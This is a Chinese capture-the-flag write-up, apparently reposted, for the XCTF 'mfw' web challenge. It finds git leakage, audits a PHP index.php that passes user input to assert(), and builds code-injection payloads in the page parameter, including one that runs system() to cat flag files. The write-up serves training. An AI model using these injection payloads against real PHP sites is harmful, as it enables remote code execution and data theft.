xctf攻防世界 Web高手进阶区 mfw
0x01. 进入环境,查看问题
题目给出的内容如图:
一通点击后,发现链接中出现page=***的字样,说明page传参是重点,是问题的突破口。
0x02. 问题分析
0x02_1. 使用dirsearch扫描看看
可以发现有很多.git文件,说明存在git泄露。。。
0x02_2. 使用githack拉下来源码
在这里,我们需要githack工具将代码拉下来,如图:
0x02_3. 代码审计
我们挑选重要代码,查看index.php,如下:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
可以看到,使用page传递参数,接着使用file进行拼接,最后使用assert断言进行执行相关程序。
在这里,我们需要熟悉几个函数。
strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
语法:strpos(string,find,start)
参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。
file_exists() 函数检查文件或目录是否存在
如果指定的文件或目录存在则返回 true,否则返回 false。
PHP5: assert ( mixed $assertion [, string $description ] ) : bool
PHP7: assert ( mixed $assertion [, Throwable $exception ] ) : bool
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动
在这里,如果assertion是字符串,他会被assert()当做php代码执行。 思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。
0x02_4. 构造payload
我们尝试使用:
page=') or phpinfo();//
发现直接回显内容如图:
因为file有构造templates,猜测flag可能位于templates目录下,我们继续构造payload,如下:
page=') or system("cat templates/flag*");//
回显无内容,实际上是被注释了,我们F12查看控制台回显,如图:
0x03. 构造原理
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhhbajcj
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
excel图片置于文字下方的方法
PHP中文网 06-27 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
微信提示登录环境异常是什么意思原因
PHP中文网 04-09 -
微信运动停用后别人还能看到步数吗
PHP中文网 07-22 -
微信人名旁边有个图标有什么用
PHP中文网 03-11